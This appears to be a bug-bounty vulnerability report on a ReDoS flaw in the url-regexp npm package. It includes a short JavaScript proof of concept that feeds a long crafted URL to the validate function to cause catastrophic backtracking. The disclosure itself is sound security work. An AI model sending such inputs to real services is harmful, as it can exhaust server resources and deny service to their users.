Denial of Service in gajus/url-regexp
Valid
Reported on
Jun 24th 2020
Overview
RegExp object to match and validate URL(s).
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker providing a long URL to validate
or replace
function will cause a Denial of Service attack.
PoC
var regex = require("url-regexp");
regex.validate(
"http://huntr.dev.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312.test21312312"
);
References
to join this conversation